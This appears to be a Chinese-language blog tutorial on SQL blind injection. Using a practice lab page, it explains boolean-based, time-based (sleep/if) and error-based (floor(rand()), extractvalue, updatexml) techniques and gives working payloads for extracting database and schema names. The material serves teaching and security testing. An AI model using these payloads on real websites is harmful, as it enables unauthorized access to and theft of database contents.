SQL盲注注入
SQL盲注注入
盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。
布尔盲注
用到的函数
Length()函数 返回字符串的长度
Substr()截取字符串 从1开始
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当然如果上面的函数被禁用,也有相应的函数替换。可百度
布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据
测试页面

get一个参数id=1,返回true界面

id=1' and 1=2%23,返回false页面
到这里初步确定单引号存在注入,TRUE页面有’you are in...........‘,FALSE页面不存在’you are in ........‘
源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";验证确实是由于单引号闭合导致注入漏洞。后台执行结果SELECT * FROM users WHERE id='1’' 原因单引号在闭合后还存在一个单引号。会引起查询报错
知道为盲注布尔型注入,利用上面的函数进行猜解。
1.判断数据库长度
/index.php?id=1' and length(database())>8%23 返回FALSE
/index.php?id=1' and length(database())>7%23 返回TRUE
length(database)=8
2.爆出数据库名字
2.1第一个数据库长度
id=1' and length((select schema_name from information_schema.schemata limit 0,1))>18%23 返回False
id=1' and length((select schema_name from information_schema.schemata limit 0,1))>17%23 返回True
故第一个数据库长度为18
2.2第一个数据库名
2.2.1第一个字母
substr("pikachuu",1,1)='p'
id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>104 返回True
id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>105 返回False
(实际用二分法查找)
ascii('i')=105,所以第一个字母为'i'
原理就是这样,接着用脚本跑一下就ok了
3.查表、查列、查字段
延时盲注
是由返回响应的时间判断的。利用此函数sleep()与if()
判断:?id=1’ and sleep(5)%23 响应时间5秒存在延时注入
查数据库
?id=1’and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23
其他操作语法与布尔型一样。
基于报错的盲注
基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等
1.直接使用报错:
' union select 1,count(*),concat('/',(select database()),'/',floor(rand(0)*2))a from information_schema.columns group by a--+
这里格式貌似几乎固定,相当于这样输就会出错的bug,count()用来返回有多少条数据这里固定写法,中间select后面是我们要获得的信息,
floor(rand(0)*2)也是固定写法,floor用来取不大于括号里的最大整数,比如1.5取1,后面的a和最后的a只要是相等的字符就可以,如图

注意返回值不能超过一行,如果多行数据加limit
2.利用xpath函数-extractvalue报错
payload:
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
这也是一种类似bug的固定写法,extractvalue,concat里面第一个必须是0x7e,后面是要查的内容,concat里面可以放很多参数(参见目录),所以可以多查很多数据,如图:
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e,user()))--+

3.利用xpath函数—updatexml报错:
payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
与extractvalue同理,这里不再赘述

浙公网安备 33010602011771号